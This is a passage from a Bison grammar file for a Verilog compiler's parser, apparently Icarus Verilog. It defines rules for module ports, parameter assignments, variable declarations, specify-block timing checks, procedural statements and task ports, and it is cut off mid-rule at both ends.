parmvalue_t*tmp = new struct parmvalue_t; tmp->by_order = $3; tmp->by_name = 0; $$ = tmp; } | '#' '(' parameter_value_byname_list ')' { struct parmvalue_t*tmp = new struct parmvalue_t; tmp->by_order = 0; tmp->by_name = $3; $$ = tmp; } | '#' DEC_NUMBER { assert($2); PENumber*tmp = new PENumber($2); FILE_NAME(tmp, @1); struct parmvalue_t*lst = new struct parmvalue_t; lst->by_order = new svector<PExpr*>(1); (*lst->by_order)[0] = tmp; lst->by_name = 0; $$ = lst; based_size = 0; } | '#' REALTIME { assert($2); PEFNumber*tmp = new PEFNumber($2); FILE_NAME(tmp, @1); struct parmvalue_t*lst = new struct parmvalue_t; lst->by_order = new svector<PExpr*>(1); (*lst->by_order)[0] = tmp; lst->by_name = 0; $$ = lst; } | '#' error { yyerror(@1, "error: syntax error in parameter value " "assignment list."); $$ = 0; } | { $$ = 0; } ; parameter_value_byname : '.' IDENTIFIER '(' expression ')' { named_pexpr_t*tmp = new named_pexpr_t; tmp->name = lex_strings.make($2); tmp->parm = $4; delete[]$2; $$ = tmp; } | '.' IDENTIFIER '(' ')' { named_pexpr_t*tmp = new named_pexpr_t; tmp->name = lex_strings.make($2); tmp->parm = 0; delete[]$2; $$ = tmp; } ; parameter_value_byname_list : parameter_value_byname { svector<named_pexpr_t*>*tmp = new svector<named_pexpr_t*>(1); (*tmp)[0] = $1; $$ = tmp; } | parameter_value_byname_list ',' parameter_value_byname { svector<named_pexpr_t*>*tmp = new svector<named_pexpr_t*>(*$1,$3); delete $1; $$ = tmp; } ; /* The port (of a module) is a fairly complex item. Each port is handled as a Module::port_t object. A simple port reference has a name and a PExpr object, but more complex constructs are possible where the name can be attached to a list of PWire objects. The port_reference returns a Module::port_t, and so does the port_reference_list. The port_reference_list may have built up a list of PWires in the port_t object, but it is still a single Module::port_t object. The port rule below takes the built up Module::port_t object and tweaks its name as needed. */ port : port_reference { $$ = $1; } /* This syntax attaches an external name to the port reference so that the caller can bind by name to non-trivial port references. The port_t object gets its PWire from the port_reference, but its name from the IDENTIFIER. */ | '.' IDENTIFIER '(' port_reference ')' { Module::port_t*tmp = $4; tmp->name = lex_strings.make($2); delete[]$2; $$ = tmp; } /* A port can also be a concatenation of port references. In this case the port does not have a name available to the outside, only positional parameter passing is possible here. */ | '{' port_reference_list '}' { Module::port_t*tmp = $2; tmp->name = perm_string(); $$ = tmp; } /* This attaches a name to a port reference concatenation list so that parameter passing be name is possible. */ | '.' IDENTIFIER '(' '{' port_reference_list '}' ')' { Module::port_t*tmp = $5; tmp->name = lex_strings.make($2); delete[]$2; $$ = tmp; } ; port_opt : port { $$ = $1; } | { $$ = 0; } ; /* A port reference is an internal (to the module) name of the port, possibly with a part of bit select to attach it to specific bits of a signal fully declared inside the module. The parser creates a PEIdent for every port reference, even if the signal is bound to different ports. The elaboration figures out the mess that this creates. The port_reference (and the port_reference_list below) puts the port reference PEIdent into the port_t object to pass it up to the module declaration code. */ port_reference : IDENTIFIER { Module::port_t*ptmp; perm_string name = lex_strings.make($1); ptmp = pform_module_port_reference(name, @1.text, @1.first_line); delete[]$1; $$ = ptmp; } | IDENTIFIER '[' expression ':' expression ']' { index_component_t itmp; itmp.sel = index_component_t::SEL_PART; itmp.msb = $3; itmp.lsb = $5; name_component_t ntmp (lex_strings.make($1)); ntmp.index.push_back(itmp); pform_name_t pname; pname.push_back(ntmp); PEIdent*wtmp = new PEIdent(pname); FILE_NAME(wtmp, @1); Module::port_t*ptmp = new Module::port_t; ptmp->name = perm_string(); ptmp->expr.push_back(wtmp); delete[]$1; $$ = ptmp; } | IDENTIFIER '[' expression ']' { index_component_t itmp; itmp.sel = index_component_t::SEL_BIT; itmp.msb = $3; itmp.lsb = 0; name_component_t ntmp (lex_strings.make($1)); ntmp.index.push_back(itmp); pform_name_t pname; pname.push_back(ntmp); PEIdent*tmp = new PEIdent(pname); FILE_NAME(tmp, @1); Module::port_t*ptmp = new Module::port_t; ptmp->name = perm_string(); ptmp->expr.push_back(tmp); delete[]$1; $$ = ptmp; } | IDENTIFIER '[' error ']' { yyerror(@1, "error: invalid port bit select"); Module::port_t*ptmp = new Module::port_t; PEIdent*wtmp = new PEIdent(lex_strings.make($1)); FILE_NAME(wtmp, @1); ptmp->name = lex_strings.make($1); ptmp->expr.push_back(wtmp); delete[]$1; $$ = ptmp; } ; port_reference_list : port_reference { $$ = $1; } | port_reference_list ',' port_reference { Module::port_t*tmp = $1; append(tmp->expr, $3->expr); delete $3; $$ = tmp; } ; /* The port_name rule is used with a module is being *instantiated*, and not when it is being declared. See the port rule if you are looking for the ports of a module declaration. */ port_name : '.' IDENTIFIER '(' expression ')' { named_pexpr_t*tmp = new named_pexpr_t; tmp->name = lex_strings.make($2); tmp->parm = $4; delete[]$2; $$ = tmp; } | '.' IDENTIFIER '(' error ')' { yyerror(@3, "error: invalid port connection expression."); named_pexpr_t*tmp = new named_pexpr_t; tmp->name = lex_strings.make($2); tmp->parm = 0; delete[]$2; $$ = tmp; } | '.' IDENTIFIER '(' ')' { named_pexpr_t*tmp = new named_pexpr_t; tmp->name = lex_strings.make($2); tmp->parm = 0; delete[]$2; $$ = tmp; } ; port_name_list : port_name_list ',' port_name { svector<named_pexpr_t*>*tmp; tmp = new svector<named_pexpr_t*>(*$1, $3); delete $1; $$ = tmp; } | port_name { svector<named_pexpr_t*>*tmp = new svector<named_pexpr_t*>(1); (*tmp)[0] = $1; $$ = tmp; } ; port_type : K_input { $$ = NetNet::PINPUT; } | K_output { $$ = NetNet::POUTPUT; } | K_inout { $$ = NetNet::PINOUT; } ; range : '[' expression ':' expression ']' { svector<PExpr*>*tmp = new svector<PExpr*> (2); (*tmp)[0] = $2; (*tmp)[1] = $4; $$ = tmp; } ; range_opt : range | { $$ = 0; } ; dimensions_opt : { $$ = 0; } | dimensions { $$ = $1; } ; dimensions : '[' expression ':' expression ']' { list<index_component_t> *tmp = new list<index_component_t>; index_component_t index; index.msb = $2; index.lsb = $4; tmp->push_back(index); $$ = tmp; } | dimensions '[' expression ':' expression ']' { list<index_component_t> *tmp = $1; index_component_t index; index.msb = $3; index.lsb = $5; tmp->push_back(index); $$ = tmp; } ; /* This is used to express the return type of a function. */ function_range_or_type_opt : range { $$.range = $1; $$.type = PTF_REG; } | K_signed range { $$.range = $2; $$.type = PTF_REG_S; } | K_integer { $$.range = 0; $$.type = PTF_INTEGER; } | K_real { $$.range = 0; $$.type = PTF_REAL; } | K_realtime { $$.range = 0; $$.type = PTF_REALTIME; } | K_time { $$.range = 0; $$.type = PTF_TIME; } | { $$.range = 0; $$.type = PTF_REG; } ; /* The register_variable rule is matched only when I am parsing variables in a "reg" definition. I therefore know that I am creating registers and I do not need to let the containing rule handle it. The register variable list simply packs them together so that bit ranges can be assigned. */ register_variable : IDENTIFIER dimensions_opt { perm_string ident_name = lex_strings.make($1); pform_makewire(@1, ident_name, NetNet::REG, NetNet::NOT_A_PORT, IVL_VT_NO_TYPE, 0); if ($2 != 0) { index_component_t index; if ($2->size() > 1) { yyerror(@2, "sorry: only 1 dimensional arrays " "are currently supported."); } index = $2->front(); pform_set_reg_idx(ident_name, index.msb, index.lsb); delete $2; } $$ = $1; } | IDENTIFIER '=' expression { perm_string ident_name = lex_strings.make($1); pform_makewire(@1, ident_name, NetNet::REG, NetNet::NOT_A_PORT, IVL_VT_NO_TYPE, 0); pform_make_reginit(@1, ident_name, $3); $$ = $1; } ; register_variable_list : register_variable { list<perm_string>*tmp = new list<perm_string>; tmp->push_back(lex_strings.make($1)); $$ = tmp; delete[]$1; } | register_variable_list ',' register_variable { list<perm_string>*tmp = $1; tmp->push_back(lex_strings.make($3)); $$ = tmp; delete[]$3; } ; real_variable : IDENTIFIER dimensions_opt { perm_string name = lex_strings.make($1); pform_makewire(@1, name, NetNet::REG, NetNet::NOT_A_PORT, IVL_VT_REAL, 0); if ($2 != 0) { index_component_t index; if ($2->size() > 1) { yyerror(@2, "sorry: only 1 dimensional arrays " "are currently supported."); } index = $2->front(); pform_set_reg_idx(name, index.msb, index.lsb); delete $2; } $$ = $1; } | IDENTIFIER '=' expression { perm_string name = lex_strings.make($1); pform_makewire(@1, name, NetNet::REG, NetNet::NOT_A_PORT, IVL_VT_REAL, 0); pform_make_reginit(@1, name, $3); $$ = $1; } ; real_variable_list : real_variable { list<perm_string>*tmp = new list<perm_string>; tmp->push_back(lex_strings.make($1)); $$ = tmp; delete[]$1; } | real_variable_list ',' real_variable { list<perm_string>*tmp = $1; tmp->push_back(lex_strings.make($3)); $$ = tmp; delete[]$3; } ; net_variable : IDENTIFIER dimensions_opt { perm_string name = lex_strings.make($1); pform_makewire(@1, name, NetNet::IMPLICIT, NetNet::NOT_A_PORT, IVL_VT_NO_TYPE, 0); if ($2 != 0) { index_component_t index; if ($2->size() > 1) { yyerror(@2, "sorry: only 1 dimensional arrays " "are currently supported."); } index = $2->front(); pform_set_reg_idx(name, index.msb, index.lsb); delete $2; } $$ = $1; } ; net_variable_list : net_variable { list<perm_string>*tmp = new list<perm_string>; tmp->push_back(lex_strings.make($1)); $$ = tmp; delete[]$1; } | net_variable_list ',' net_variable { list<perm_string>*tmp = $1; tmp->push_back(lex_strings.make($3)); $$ = tmp; delete[]$3; } ; specify_item : K_specparam specparam_list ';' | specify_simple_path_decl ';' { pform_module_specify_path($1); } | specify_edge_path_decl ';' { pform_module_specify_path($1); } | K_if '(' expression ')' specify_simple_path_decl ';' { PSpecPath*tmp = $5; if (tmp) { tmp->conditional = true; tmp->condition = $3; } pform_module_specify_path(tmp); } | K_if '(' expression ')' specify_edge_path_decl ';' { PSpecPath*tmp = $5; if (tmp) { tmp->conditional = true; tmp->condition = $3; } pform_module_specify_path(tmp); } | K_ifnone specify_simple_path_decl ';' { PSpecPath*tmp = $2; if (tmp) { tmp->conditional = true; tmp->condition = 0; } pform_module_specify_path(tmp); } | K_ifnone specify_edge_path_decl ';' { yyerror(@1, "Sorry: ifnone with an edge-sensitive path is " "not supported."); yyerrok; } | K_Sfullskew '(' spec_reference_event ',' spec_reference_event ',' delay_value ',' delay_value spec_notifier_opt ')' ';' { delete $7; delete $9; } | K_Shold '(' spec_reference_event ',' spec_reference_event ',' delay_value spec_notifier_opt ')' ';' { delete $7; } | K_Snochange '(' spec_reference_event ',' spec_reference_event ',' delay_value ',' delay_value spec_notifier_opt ')' ';' { delete $7; delete $9; } | K_Speriod '(' spec_reference_event ',' delay_value spec_notifier_opt ')' ';' { delete $5; } | K_Srecovery '(' spec_reference_event ',' spec_reference_event ',' delay_value spec_notifier_opt ')' ';' { delete $7; } | K_Srecrem '(' spec_reference_event ',' spec_reference_event ',' delay_value ',' delay_value spec_notifier_opt ')' ';' { delete $7; delete $9; } | K_Sremoval '(' spec_reference_event ',' spec_reference_event ',' delay_value spec_notifier_opt ')' ';' { delete $7; } | K_Ssetup '(' spec_reference_event ',' spec_reference_event ',' delay_value spec_notifier_opt ')' ';' { delete $7; } | K_Ssetuphold '(' spec_reference_event ',' spec_reference_event ',' delay_value ',' delay_value spec_notifier_opt ')' ';' { delete $7; delete $9; } | K_Sskew '(' spec_reference_event ',' spec_reference_event ',' delay_value spec_notifier_opt ')' ';' { delete $7; } | K_Stimeskew '(' spec_reference_event ',' spec_reference_event ',' delay_value spec_notifier_opt ')' ';' { delete $7; } | K_Swidth '(' spec_reference_event ',' delay_value ',' expression spec_notifier_opt ')' ';' { delete $5; delete $7; } | K_Swidth '(' spec_reference_event ',' delay_value ')' ';' { delete $5; } | K_pulsestyle_onevent specify_path_identifiers ';' { delete $2; } | K_pulsestyle_ondetect specify_path_identifiers ';' { delete $2; } | K_showcancelled specify_path_identifiers ';' { delete $2; } | K_noshowcancelled specify_path_identifiers ';' { delete $2; } ; specify_item_list : specify_item | specify_item_list specify_item ; specify_edge_path_decl : specify_edge_path '=' '(' delay_value_list ')' { $$ = pform_assign_path_delay($1, $4); } | specify_edge_path '=' delay_value_simple { svector<PExpr*>*tmp = new svector<PExpr*>(1); (*tmp)[0] = $3; $$ = pform_assign_path_delay($1, tmp); } ; edge_operator : K_posedge { $$ = true; } | K_negedge { $$ = false; } ; specify_edge_path : '(' specify_path_identifiers spec_polarity K_EG '(' specify_path_identifiers polarity_operator expression ')' ')' { int edge_flag = 0; $$ = pform_make_specify_edge_path(@1, edge_flag, $2, $3, false, $6, $8); } | '(' edge_operator specify_path_identifiers spec_polarity K_EG '(' specify_path_identifiers polarity_operator expression ')' ')' { int edge_flag = $2? 1 : -1; $$ = pform_make_specify_edge_path(@1, edge_flag, $3, $4, false, $7, $9);} | '(' specify_path_identifiers spec_polarity K_SG '(' specify_path_identifiers polarity_operator expression ')' ')' { int edge_flag = 0; $$ = pform_make_specify_edge_path(@1, edge_flag, $2, $3, true, $6, $8); } | '(' edge_operator specify_path_identifiers spec_polarity K_SG '(' specify_path_identifiers polarity_operator expression ')' ')' { int edge_flag = $2? 1 : -1; $$ = pform_make_specify_edge_path(@1, edge_flag, $3, $4, true, $7, $9); } ; polarity_operator : K_PO_POS | K_PO_NEG | ':' ; specify_simple_path_decl : specify_simple_path '=' '(' delay_value_list ')' { $$ = pform_assign_path_delay($1, $4); } | specify_simple_path '=' delay_value_simple { svector<PExpr*>*tmp = new svector<PExpr*>(1); (*tmp)[0] = $3; $$ = pform_assign_path_delay($1, tmp); } | specify_simple_path '=' '(' error ')' { yyerror(@3, "Syntax error in delay value list."); yyerrok; $$ = 0; } ; specify_simple_path : '(' specify_path_identifiers spec_polarity K_EG specify_path_identifiers ')' { $$ = pform_make_specify_path(@1, $2, $3, false, $5); } | '(' specify_path_identifiers spec_polarity K_SG specify_path_identifiers ')' { $$ = pform_make_specify_path(@1, $2, $3, true, $5); } | '(' error ')' { yyerror(@1, "Invalid simple path"); yyerrok; } ; specify_path_identifiers : IDENTIFIER { list<perm_string>*tmp = new list<perm_string>; tmp->push_back(lex_strings.make($1)); $$ = tmp; delete[]$1; } | IDENTIFIER '[' expr_primary ']' { list<perm_string>*tmp = new list<perm_string>; tmp->push_back(lex_strings.make($1)); $$ = tmp; delete[]$1; } | specify_path_identifiers ',' IDENTIFIER { list<perm_string>*tmp = $1; tmp->push_back(lex_strings.make($3)); $$ = tmp; delete[]$3; } | specify_path_identifiers ',' IDENTIFIER '[' expr_primary ']' { list<perm_string>*tmp = $1; tmp->push_back(lex_strings.make($3)); $$ = tmp; delete[]$3; } ; specparam : IDENTIFIER '=' expression { PExpr*tmp = $3; pform_set_specparam(lex_strings.make($1), tmp); delete[]$1; } | IDENTIFIER '=' expression ':' expression ':' expression { PExpr*tmp = 0; switch (min_typ_max_flag) { case MIN: tmp = $3; delete $5; delete $7; break; case TYP: delete $3; tmp = $5; delete $7; break; case MAX: delete $3; delete $5; tmp = $7; break; } if (min_typ_max_warn > 0) { cerr << tmp->get_fileline() << ": warning: choosing "; switch (min_typ_max_flag) { case MIN: cerr << "min"; break; case TYP: cerr << "typ"; break; case MAX: cerr << "max"; break; } cerr << " expression." << endl; min_typ_max_warn -= 1; } pform_set_specparam(lex_strings.make($1), tmp); delete[]$1; } | PATHPULSE_IDENTIFIER '=' expression { delete[]$1; delete $3; } | PATHPULSE_IDENTIFIER '=' '(' expression ',' expression ')' { delete[]$1; delete $4; delete $6; } ; specparam_list : specparam | specparam_list ',' specparam ; spec_polarity : '+' { $$ = '+'; } | '-' { $$ = '-'; } | { $$ = 0; } ; spec_reference_event : K_posedge expression { delete $2; } | K_negedge expression { delete $2; } | K_posedge expr_primary K_TAND expression { delete $2; delete $4; } | K_negedge expr_primary K_TAND expression { delete $2; delete $4; } | K_edge '[' edge_descriptor_list ']' expr_primary { delete $5; } | K_edge '[' edge_descriptor_list ']' expr_primary K_TAND expression { delete $5; delete $7; } | expr_primary K_TAND expression { delete $1; delete $3; } | expr_primary { delete $1; } ; /* The edge_descriptor is detected by the lexor as the various 2-letter edge sequences that are supported here. For now, we don't care what they are, because we do not yet support specify edge events. */ edge_descriptor_list : edge_descriptor_list ',' K_edge_descriptor | K_edge_descriptor ; spec_notifier_opt : /* empty */ { } | spec_notifier { } ; spec_notifier : ',' { args_after_notifier = 0; } | ',' hierarchy_identifier { args_after_notifier = 0; delete $2; } | spec_notifier ',' { args_after_notifier += 1; } | spec_notifier ',' hierarchy_identifier { args_after_notifier += 1; if (args_after_notifier >= 3) { cerr << @3 << ": warning: timing checks are not supported " "and delayed signal \"" << *$3 << "\" will not be driven." << endl; } delete $3; } /* How do we match this path? */ | IDENTIFIER { args_after_notifier = 0; delete[]$1; } ; statement /* assign and deassign statements are procedural code to do structural assignments, and to turn that structural assignment off. This stronger then any other assign, but weaker then the force assignments. */ : K_assign lpvalue '=' expression ';' { PCAssign*tmp = new PCAssign($2, $4); FILE_NAME(tmp, @1); $$ = tmp; } | K_deassign lpvalue ';' { PDeassign*tmp = new PDeassign($2); FILE_NAME(tmp, @1); $$ = tmp; } /* Force and release statements are similar to assignments, syntactically, but they will be elaborated differently. */ | K_force lpvalue '=' expression ';' { PForce*tmp = new PForce($2, $4); FILE_NAME(tmp, @1); $$ = tmp; } | K_release lpvalue ';' { PRelease*tmp = new PRelease($2); FILE_NAME(tmp, @1); $$ = tmp; } /* begin-end blocks come in a variety of forms, including named and anonymous. The named blocks can also carry their own reg variables, which are placed in the scope created by the block name. These are handled by pushing the scope name then matching the declarations. The scope is popped at the end of the block. */ | K_begin K_end { PBlock*tmp = new PBlock(PBlock::BL_SEQ); FILE_NAME(tmp, @1); $$ = tmp; } | K_begin statement_list K_end { PBlock*tmp = new PBlock(PBlock::BL_SEQ); FILE_NAME(tmp, @1); tmp->set_statement(*$2); delete $2; $$ = tmp; } | K_begin ':' IDENTIFIER { PBlock*tmp = pform_push_block_scope($3, PBlock::BL_SEQ); FILE_NAME(tmp, @1); current_block_stack.push(tmp); } block_item_decls_opt statement_list_or_null K_end { pform_pop_scope(); assert(! current_block_stack.empty()); PBlock*tmp = current_block_stack.top(); current_block_stack.pop(); if ($6) tmp->set_statement(*$6); delete[]$3; delete $6; $$ = tmp; } | K_begin error K_end { yyerrok; } /* fork-join blocks are very similar to begin-end blocks. In fact, from the parser's perspective there is no real difference. All we need to do is remember that this is a parallel block so that the code generator can do the right thing. */ | K_fork K_join { PBlock*tmp = new PBlock(PBlock::BL_PAR); FILE_NAME(tmp, @1); $$ = tmp; } | K_fork statement_list K_join { PBlock*tmp = new PBlock(PBlock::BL_PAR); FILE_NAME(tmp, @1); tmp->set_statement(*$2); delete $2; $$ = tmp; } | K_fork ':' IDENTIFIER { PBlock*tmp = pform_push_block_scope($3, PBlock::BL_PAR); FILE_NAME(tmp, @1); current_block_stack.push(tmp); } block_item_decls_opt statement_list_or_null K_join { pform_pop_scope(); assert(! current_block_stack.empty()); PBlock*tmp = current_block_stack.top(); current_block_stack.pop(); if ($6) tmp->set_statement(*$6); delete[]$3; delete $6; $$ = tmp; } | K_fork error K_join { yyerrok; } | K_disable hierarchy_identifier ';' { PDisable*tmp = new PDisable(*$2); FILE_NAME(tmp, @1); delete $2; $$ = tmp; } | K_TRIGGER hierarchy_identifier ';' { PTrigger*tmp = new PTrigger(*$2); FILE_NAME(tmp, @1); delete $2; $$ = tmp; } | K_forever statement { PForever*tmp = new PForever($2); FILE_NAME(tmp, @1); $$ = tmp; } | K_repeat '(' expression ')' statement { PRepeat*tmp = new PRepeat($3, $5); FILE_NAME(tmp, @1); $$ = tmp; } | K_case '(' expression ')' case_items K_endcase { PCase*tmp = new PCase(NetCase::EQ, $3, $5); FILE_NAME(tmp, @1); $$ = tmp; } | K_casex '(' expression ')' case_items K_endcase { PCase*tmp = new PCase(NetCase::EQX, $3, $5); FILE_NAME(tmp, @1); $$ = tmp; } | K_casez '(' expression ')' case_items K_endcase { PCase*tmp = new PCase(NetCase::EQZ, $3, $5); FILE_NAME(tmp, @1); $$ = tmp; } | K_case '(' expression ')' error K_endcase { yyerrok; } | K_casex '(' expression ')' error K_endcase { yyerrok; } | K_casez '(' expression ')' error K_endcase { yyerrok; } | K_if '(' expression ')' statement_or_null %prec less_than_K_else { PCondit*tmp = new PCondit($3, $5, 0); FILE_NAME(tmp, @1); $$ = tmp; } | K_if '(' expression ')' statement_or_null K_else statement_or_null { PCondit*tmp = new PCondit($3, $5, $7); FILE_NAME(tmp, @1); $$ = tmp; } | K_if '(' error ')' statement_or_null %prec less_than_K_else { yyerror(@1, "error: Malformed conditional expression."); $$ = $5; } | K_if '(' error ')' statement_or_null K_else statement_or_null { yyerror(@1, "error: Malformed conditional expression."); $$ = $5; } | K_for '(' lpvalue '=' expression ';' expression ';' lpvalue '=' expression ')' statement { PForStatement*tmp = new PForStatement($3, $5, $7, $9, $11, $13); FILE_NAME(tmp, @1); $$ = tmp; } | K_for '(' lpvalue '=' expression ';' expression ';' error ')' statement { $$ = 0; yyerror(@1, "error: Error in for loop step assignment."); } | K_for '(' lpvalue '=' expression ';' error ';' lpvalue '=' expression ')' statement { $$ = 0; yyerror(@1, "error: Error in for loop condition expression."); } | K_for '(' error ')' statement { $$ = 0; yyerror(@1, "error: Incomprehensible for loop."); } | K_while '(' expression ')' statement { PWhile*tmp = new PWhile($3, $5); FILE_NAME(tmp, @1); $$ = tmp; } | K_while '(' error ')' statement { $$ = 0; yyerror(@1, "error: Error in while loop condition."); } | delay1 statement_or_null { PExpr*del = (*$1)[0]; assert($1->count() == 1); PDelayStatement*tmp = new PDelayStatement(del, $2); FILE_NAME(tmp, @1); $$ = tmp; } | event_control attribute_list_opt statement_or_null { PEventStatement*tmp = $1; if (tmp == 0) { yyerror(@1, "error: Invalid event control."); $$ = 0; } else { if ($3) pform_bind_attributes($3->attributes,$2); tmp->set_statement($3); $$ = tmp; } } | '@' '*' attribute_list_opt statement_or_null { PEventStatement*tmp = new PEventStatement; FILE_NAME(tmp, @1); if ($4) pform_bind_attributes($4->attributes,$3); tmp->set_statement($4); $$ = tmp; } | '@' '(' '*' ')' attribute_list_opt statement_or_null { PEventStatement*tmp = new PEventStatement; FILE_NAME(tmp, @1); if ($6) pform_bind_attributes($6->attributes,$5); tmp->set_statement($6); $$ = tmp; } | lpvalue '=' expression ';' { PAssign*tmp = new PAssign($1,$3); FILE_NAME(tmp, @1); $$ = tmp; } | error '=' expression ';' { yyerror(@2, "Syntax in assignment statement l-value."); yyerrok; $$ = new PNoop; } | lpvalue K_LE expression ';' { PAssignNB*tmp = new PAssignNB($1,$3); FILE_NAME(tmp, @1); $$ = tmp; } | error K_LE expression ';' { yyerror(@2, "Syntax in assignment statement l-value."); yyerrok; $$ = new PNoop; } | lpvalue '=' delay1 expression ';' { assert($3->count() == 1); PExpr*del = (*$3)[0]; PAssign*tmp = new PAssign($1,del,$4); FILE_NAME(tmp, @1); $$ = tmp; } | lpvalue K_LE delay1 expression ';' { assert($3->count() == 1); PExpr*del = (*$3)[0]; PAssignNB*tmp = new PAssignNB($1,del,$4); FILE_NAME(tmp, @1); $$ = tmp; } | lpvalue '=' event_control expression ';' { PAssign*tmp = new PAssign($1,0,$3,$4); FILE_NAME(tmp, @1); $$ = tmp; } | lpvalue '=' K_repeat '(' expression ')' event_control expression ';' { PAssign*tmp = new PAssign($1,$5,$7,$8); FILE_NAME(tmp,@1); tmp->set_lineno(@1.first_line); $$ = tmp; } | lpvalue K_LE event_control expression ';' { PAssignNB*tmp = new PAssignNB($1,0,$3,$4); FILE_NAME(tmp, @1); $$ = tmp; } | lpvalue K_LE K_repeat '(' expression ')' event_control expression ';' { PAssignNB*tmp = new PAssignNB($1,$5,$7,$8); FILE_NAME(tmp, @1); $$ = tmp; } | K_wait '(' expression ')' statement_or_null { PEventStatement*tmp; PEEvent*etmp = new PEEvent(PEEvent::POSITIVE, $3); tmp = new PEventStatement(etmp); FILE_NAME(tmp,@1); tmp->set_statement($5); $$ = tmp; } | SYSTEM_IDENTIFIER '(' expression_list_with_nuls ')' ';' { PCallTask*tmp = new PCallTask(lex_strings.make($1), *$3); FILE_NAME(tmp,@1); delete[]$1; delete $3; $$ = tmp; } | SYSTEM_IDENTIFIER ';' { svector<PExpr*>pt (0); PCallTask*tmp = new PCallTask(lex_strings.make($1), pt); FILE_NAME(tmp,@1); delete[]$1; $$ = tmp; } | hierarchy_identifier '(' expression_list_proper ')' ';' { PCallTask*tmp = new PCallTask(*$1, *$3); FILE_NAME(tmp, @1); delete $1; delete $3; $$ = tmp; } /* NOTE: The standard doesn't really support an empty argument list between parentheses, but it seems natural, and people commonly want it. So accept it explicitly. */ | hierarchy_identifier '(' ')' ';' { svector<PExpr*>pt (0); PCallTask*tmp = new PCallTask(*$1, pt); FILE_NAME(tmp, @1); delete $1; $$ = tmp; } | hierarchy_identifier ';' { svector<PExpr*>pt (0); PCallTask*tmp = new PCallTask(*$1, pt); FILE_NAME(tmp, @1); delete $1; $$ = tmp; } | error ';' { yyerror(@2, "error: malformed statement"); yyerrok; $$ = new PNoop; } ; statement_list_or_null : statement_list_or_null statement { svector<Statement*>*tmp = $1; if (tmp) { tmp = new svector<Statement*>(*$1, $2); delete $1; } else { tmp = new svector<Statement*>(1); (*tmp)[0] = $2; } $$ = tmp; } | { $$ = 0; } ; statement_list : statement_list statement { svector<Statement*>*tmp = new svector<Statement*>(*$1, $2); delete $1; $$ = tmp; } | statement { svector<Statement*>*tmp = new svector<Statement*>(1); (*tmp)[0] = $1; $$ = tmp; } ; statement_or_null : statement { $$ = $1; } | ';' { $$ = 0; } ; analog_statement : branch_probe_expression K_CONTRIBUTE expression ';' { $$ = pform_contribution_statement(@2, $1, $3); } ; /* Task items are, other than the statement, task port items and other block items. */ task_item : block_item_decl { $$ = new svector<PWire*>(0); } | task_port_item { $$ = $1; } ; reg_opt : K_reg { $$ = true; } | { $$ = false; } ; task_port_item : K_input reg_opt signed_opt range_opt list_of_identifiers ';' { svector<PWire*>*tmp = pform_make_task_ports(NetNet::PINPUT, $2 ? IVL_VT_LOGIC : IVL_VT_NO_TYPE, $3, $4, $5, @1.text, @1.first_line); $$ = tmp; } | K_output reg_opt signed_opt range_opt list_of_identifiers ';' { svector<PWire*>*tmp = pform_make_task_ports(NetNet::POUTPUT, $2 ? IVL_VT_LOGIC : IVL_VT_NO_TYPE, $3, $4, $5, @1.text, @1.first_line); $$ = tmp; } | K_inout reg_opt signed_opt range_opt list_of_identifiers ';' { svector<PWire*>*tmp = pform_make_task_ports(NetNet::PINOUT, $2 ? IVL_VT_LOGIC : IVL_VT_NO_TYPE, $3, $4, $5, @1.text, @1.first_line); $$ = tmp; } /* When the port is an integer, infer a signed vector of the integer shape. Generate a range ([31:0]) to make it work. */ | K_input K_integer list_of_identifiers ';' { svector<PExpr*>*range_stub = new svector<PExpr*>(2); PExpr*re; re = new PENumber(new verinum(integer_width-1, integer_width)); (*range_stub)[0] = re; re = new PENumber(new verinum((uint64_t)0, integer_width)); (*range_stub)[1] = re; svector<PWire*>*tmp = pform_make_task_ports(NetNet::PINPUT, IVL_VT_LOGIC, true, range_stub, $3, @1.text, @1.first_line, true); $$ = tmp; } | K_output K_integer list_of_identifiers ';' { svector<PExpr*>*range_stub = new svector<PExpr*>(2); PExpr*re; re = new PENumber(new verinum(integer_width-1, integer_width)); (*range_stub)[0] = re; re = new PENumber(new verinum((uint64_t)0, integer_width)); (*range_stub)[1] = re; svector<PWire*>*tmp = pform_make_task_ports(NetNet::POUTPUT, IVL_VT_LOGIC, true, range_stub, $3, @1.text, @1.first_line, true); $$ = tmp; } | K_inout K_integer list_of_identifiers ';' { svector<PExpr*>*range_stub = new svector<PExpr*>(2); PExpr*re; re = new PENumber(new verinum(integer_width-1, integer_width)); (*range_stub)[0] = re; re = new PENumber(new verinum((uint64_t)0, integer_width)); (*range_stub)[1] = re; svector<PWire*>*tmp = pform_make_task_ports(NetNet::PINOUT, IVL_VT_LOGIC, true, range_stub, $3, @1.text, @1.first_line, true); $$ = tmp; } /* Ports can be time with a width of [63:0] (unsigned). */ | K_input K_time list_of_identifiers ';' { svector<PExpr*>*range_stub = new svector<PExpr*>(2); PExpr*re; re = new PENumber(new verinum((uint64_t)63, integer_width)); (*range_stub)[0] = re; re = new PENumber(new verinum((uint64_t)0, integer_width)); (*range_stub)[1] = re; svector<PWire*>*tmp = pform_make_task_ports(NetNet::PINPUT, IVL_VT_LOGIC, false, range_stub, $3, @1.text, @1.first_line); $$ = tmp; } | K_output K_time list_of_identifiers ';' { svector<PExpr*>*range_stub = new svector<PExpr*>(2); PExpr*re; re = new PENumber(new verinum((uint64_t)63, integer_width)); (*range_stub)[0] = re; re = new PENumber(new verinum((uint64_t)0, integer_width)); (*range_stub)[1] = re; svector<PWire*>*tmp = pform_make_task_ports(NetNet::POUTPUT, IVL_VT_LOGIC, false, range_stub, $3, @1.text, @1.first_line); $$ = tmp; } | K_inout K_time list_of_identifiers ';' { svector<PExpr*>*range_stub = new svector<PExpr*>(2); PExpr*re; re = new PENumber(new verinum((uint64_t)63, integer_width)); (*range_stub)[0] = re; re = new PENumber(new verinum((uint64_t)0, integer_width)); (*range_stub)[1] = re; svector<PWire*>*tmp = pform_make_task_ports(NetNet::PINOUT, IVL_VT_LOGIC, false, range_stub, $3, @1.text, @1.first_line); $$ = tmp; } /* Ports can be real or realtime. */ | K_input real_or_realtime list_of_identifiers ';' { svector<PWire*>*tmp = pform_make_task_ports(NetNet::PINPUT, IVL_VT_REAL, false, 0, $3, @1.text, @1.first_line); $$ = tmp; } | K_output real_or_realtime list_of_identifiers ';' { svector<PWire*>*tmp = pform_make_task_ports(NetNet::POUTPUT, IVL_VT_REAL, true, 0, $3, @1.text, @1.first_line); $$ = tmp; } | K_inout real_or_realtime list_of_identifiers ';' { svector<PWire*>*tmp = pform_make_task_ports(NetNet::PINOUT, IVL_VT_REAL, true, 0, $3, 